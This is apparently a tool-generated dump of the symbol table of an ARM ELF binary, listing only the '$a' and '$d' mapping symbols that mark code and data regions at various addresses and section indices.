$a	.symtab	0xd0ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd238	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd410	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd574	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdcf8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdd68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xddd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xde64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdf98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdfc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe4c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe590	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe6f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf270	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf794	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xff04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xff28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xffd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10088	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x102ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10854	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1087c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x108b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x108fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10920	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10944	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x109b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x109cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x109e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10a3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ad0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10b60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10c9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10eac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ec0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1104c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1108c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x110c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x110d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1111c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11160	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x112c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x112f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1133c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1137c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x113c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11444	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11484	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11510	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11540	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11650	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11720	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x117e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11894	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1197c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1199c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x119d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11a34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11a64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11b34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12300	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x123a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x123e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12594	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x125e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12dbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12ea0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12fac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12fd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13018	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1308c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x130d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13114	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13188	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x131cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13214	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13254	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13298	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13308	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13350	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x133d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1341c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1348c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x134d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13560	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x135a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x135ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1363c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13650	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13714	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13780	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14130	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14270	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14630	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14ad0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14dac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14fa0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15078	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15170	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1525c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15320	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1546c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ef4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1602c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16164	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x161bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x161c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x161f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1624c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16254	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16284	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x162dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x162e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16314	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1636c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16374	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x163a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16428	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16504	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x165c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16618	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16670	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16a5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16ad8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16b04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16b8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16b94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16ba0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16bb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16bc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16c00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16c68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16ccc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16d6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16d98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16dac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16dc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16dd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16dfc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16e34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16e74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16e88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16ecc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16fac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16fec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17058	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1706c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x170ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17224	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17310	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x176b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17708	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1772c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x177e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17f98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x180d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18158	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x182bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18398	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x183c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1843c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18468	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x185c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18db8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18efc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19018	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x192c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19674	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x197a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19840	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19cd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19cf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19de0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ec0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19fb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a09c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a0e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a130	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a17c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a1a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a21c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a314	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a38c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a3f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a648	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a654	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a68c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a6e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a73c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a748	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a890	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a8b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aa74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aacc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aba8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ac70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aca0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ad44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ad80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ada4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ade4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ae54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1af98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b3b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b850	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b990	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b9e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bab4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bac0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bacc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bcec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1be3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1be58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1beb8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bf24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bfdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bffc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c140	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c688	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c690	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c698	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c6a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c75c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c7a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ceb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cefc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27710	0	NOTYPE	<unknown>	DEFAULT	10
$d	.symtab	0x8180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2770c	0	NOTYPE	<unknown>	DEFAULT	9
$d	.symtab	0x81c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x82c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8420	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8a7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9140	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x975c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa1b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa8a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xaf54	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xbbb4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc0a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc268	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xcd60	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xcdac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xcfc4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd09c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd22c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd3ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x277c0	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xd568	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdcc4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x277e8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x277ec	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x277f0	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xdd58	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xddc4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xde54	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdf88	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe58c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe6e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf24c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf6cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e484	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1e48d	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0xff24	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xffd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10080	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x102ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x277f4	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1084c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x10f50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1103c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11088	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x110c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11114	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11158	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1119c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x111dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x112b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x112f4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11338	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11378	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x113bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1143c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11480	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1150c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11634	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11718	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x117d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1188c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e588	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x11968	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11998	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x119cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11a28	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11b2c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x122dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e5c8	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x12590	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x125dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12b28	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27844	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1e5d0	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x12c48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12e80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12f9c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e654	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x13010	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13084	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x130c8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1310c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x131c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1320c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13250	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13290	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13300	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1334c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x133d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13414	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13484	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x134d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13558	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x135a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x135e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13638	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13708	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1410c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27848	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x14254	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14610	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14ab4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14b08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14c24	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27860	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x14cd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14d90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14e50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14ef4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27878	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x27910	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x14f9c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1506c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15160	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15250	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f1c0	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x15300	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27924	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x15448	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15a64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15e34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16020	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1614c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16160	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x161f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16280	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16310	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x164fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x165b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16610	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16664	0	NOTYPE	<unknown>	DEFAULT	2
